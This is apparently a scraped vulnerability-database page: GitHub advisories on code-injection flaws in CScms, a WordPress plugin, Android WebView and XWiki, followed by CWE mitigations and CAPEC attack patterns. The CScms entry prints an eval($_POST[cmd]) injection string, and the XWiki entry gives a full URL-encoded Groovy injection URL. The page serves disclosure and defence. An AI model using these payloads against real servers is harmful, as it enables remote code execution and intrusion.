"details": "CScms 4.1 allows remote code execution, as demonstrated by 1\u0027);eval($_POST[cmd]);# in Web Name to upload\\plugins\\sys\\Install.php.",
"id": "GHSA-62f5-95q3-qxv8",
"modified": "2022-05-14T01:58:19Z",
"published": "2022-05-14T01:58:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17126"
},
{
"type": "WEB",
"url": "https://github.com/AvaterXXX/CScms/blob/master/CScms_xss.md#cscms_getshell"
},
{
"type": "WEB",
"url": "https://www.patec.cn/newsshow.php?cid=24\u0026id=125"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-62GQ-J2XQ-GFJ7
Vulnerability from github – Published: 2022-05-17 01:36 – Updated: 2025-04-12 12:34PHP remote file inclusion vulnerability in includes/generate-pdf.php in the WP ecommerce Shop Styling plugin for WordPress before 1.8 allows remote attackers to execute arbitrary PHP code via a URL in the dompdf parameter.
{
"affected": [],
"aliases": [
"CVE-2013-0724"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-27T14:55:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in includes/generate-pdf.php in the WP ecommerce Shop Styling plugin for WordPress before 1.8 allows remote attackers to execute arbitrary PHP code via a URL in the dompdf parameter.",
"id": "GHSA-62gq-j2xq-gfj7",
"modified": "2025-04-12T12:34:12Z",
"published": "2022-05-17T01:36:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0724"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/81931"
},
{
"type": "WEB",
"url": "http://osvdb.org/89921"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/51707"
},
{
"type": "WEB",
"url": "http://wordpress.org/plugins/wp-ecommerce-shop-styling/changelog"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/57768"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-62JR-F896-9V4H
Vulnerability from github – Published: 2022-05-17 03:54 – Updated: 2022-05-17 03:54java/android/webkit/BrowserFrame.java in Android before 4.4 uses the addJavascriptInterface API in conjunction with creating an object of the SearchBoxImpl class, which allows attackers to execute arbitrary Java code by leveraging access to the searchBoxJavaBridge_ interface at certain Android API levels.
{
"affected": [],
"aliases": [
"CVE-2014-1939"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-03T04:50:00Z",
"severity": "HIGH"
},
"details": "java/android/webkit/BrowserFrame.java in Android before 4.4 uses the addJavascriptInterface API in conjunction with creating an object of the SearchBoxImpl class, which allows attackers to execute arbitrary Java code by leveraging access to the searchBoxJavaBridge_ interface at certain Android API levels.",
"id": "GHSA-62jr-f896-9v4h",
"modified": "2022-05-17T03:54:53Z",
"published": "2022-05-17T03:54:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-1939"
},
{
"type": "WEB",
"url": "https://support.lenovo.com/us/en/product_security/len_6421"
},
{
"type": "WEB",
"url": "http://blog.chromium.org/2013/11/introducing-chromium-powered-android.html"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2014/02/11/2"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-62PR-QQF7-HH89
Vulnerability from github – Published: 2023-11-08 14:51 – Updated: 2023-11-08 14:51Impact
XWiki doesn't properly escape the section URL parameter that is used in the code for displaying administration sections. This allows any user with read access to the document XWiki.AdminSheet (by default, everyone including unauthenticated users) to execute code including Groovy code. This impacts the confidentiality, integrity and availability of the whole XWiki instance.
By opening the URL <server>/xwiki/bin/get/Main/WebHome?sheet=XWiki.AdminSheet&viewer=content§ion=%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger(%22attacker%22).error(%22Attack%20succeeded!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D&xpage=view where <server> is the URL of the XWiki installation, it can be tested if an XWiki installation is vulnerable. If this causes a log message ERROR attacker - Attack succeeded! to appear in XWiki's log, the installation is vulnerable. In very old versions of XWiki, the attack can be demonstrated with <server>/xwiki/bin/get/XWiki/XWikiPreferences?section=%3C%25println(%22Hello%20from%20Groovy%22)%25%3E&xpage=view which displays admin.hello from groovy as title when the attack succeeds (tested on XWiki 1.7).
Patches
This vulnerability has been patched in XWiki 14.10.14, 15.6 RC1 and 15.5.1.
Workarounds
The fix, which consists of replacing = $services.localization.render("administration.sectionTitle$level", [$sectionName]) = by = $services.localization.render("administration.sectionTitle$level", 'xwiki/2.1', [$sectionName]) =, can be applied manually to the document XWiki.AdminSheet.
References
- https://jira.xwiki.org/browse/XWIKI-21110
- https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "15.0-rc-1"
},
{
"fixed": "15.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46731"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-08T14:51:06Z",
"nvd_published_at": "2023-11-06T19:15:09Z",
"severity": "CRITICAL"
},
"details": "### Impact\nXWiki doesn\u0027t properly escape the section URL parameter that is used in the code for displaying administration sections. This allows any user with read access to the document `XWiki.AdminSheet` (by default, everyone including unauthenticated users) to execute code including Groovy code. This impacts the confidentiality, integrity and availability of the whole XWiki instance.\n\nBy opening the URL `\u003cserver\u003e/xwiki/bin/get/Main/WebHome?sheet=XWiki.AdminSheet\u0026viewer=content\u0026section=%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger(%22attacker%22).error(%22Attack%20succeeded!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D\u0026xpage=view` where `\u003cserver\u003e` is the URL of the XWiki installation, it can be tested if an XWiki installation is vulnerable. If this causes a log message `ERROR attacker - Attack succeeded!` to appear in XWiki\u0027s log, the installation is vulnerable. In very old versions of XWiki, the attack can be demonstrated with `\u003cserver\u003e/xwiki/bin/get/XWiki/XWikiPreferences?section=%3C%25println(%22Hello%20from%20Groovy%22)%25%3E\u0026xpage=view` which displays `admin.hello from groovy` as title when the attack succeeds (tested on XWiki 1.7).\n\n### Patches\nThis vulnerability has been patched in XWiki 14.10.14, 15.6 RC1 and 15.5.1.\n\n### Workarounds\nThe [fix](https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a#diff-6271f9be501f30b2ba55459eb451aee3413d34171ba8198a77c865306d174e23), which consists of replacing `= $services.localization.render(\"administration.sectionTitle$level\", [$sectionName]) =` by `= $services.localization.render(\"administration.sectionTitle$level\", \u0027xwiki/2.1\u0027, [$sectionName]) =`, can be applied manually to the document `XWiki.AdminSheet`.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-21110\n* https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a",
"id": "GHSA-62pr-qqf7-hh89",
"modified": "2023-11-08T14:51:06Z",
"published": "2023-11-08T14:51:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-62pr-qqf7-hh89"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46731"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/fec8e0e53f9fa2c3f1e568cc15b0e972727c803a#diff-6271f9be501f30b2ba55459eb451aee3413d34171ba8198a77c865306d174e23"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-21110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform vulnerable to remote code execution through the section parameter in Administration as guest"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.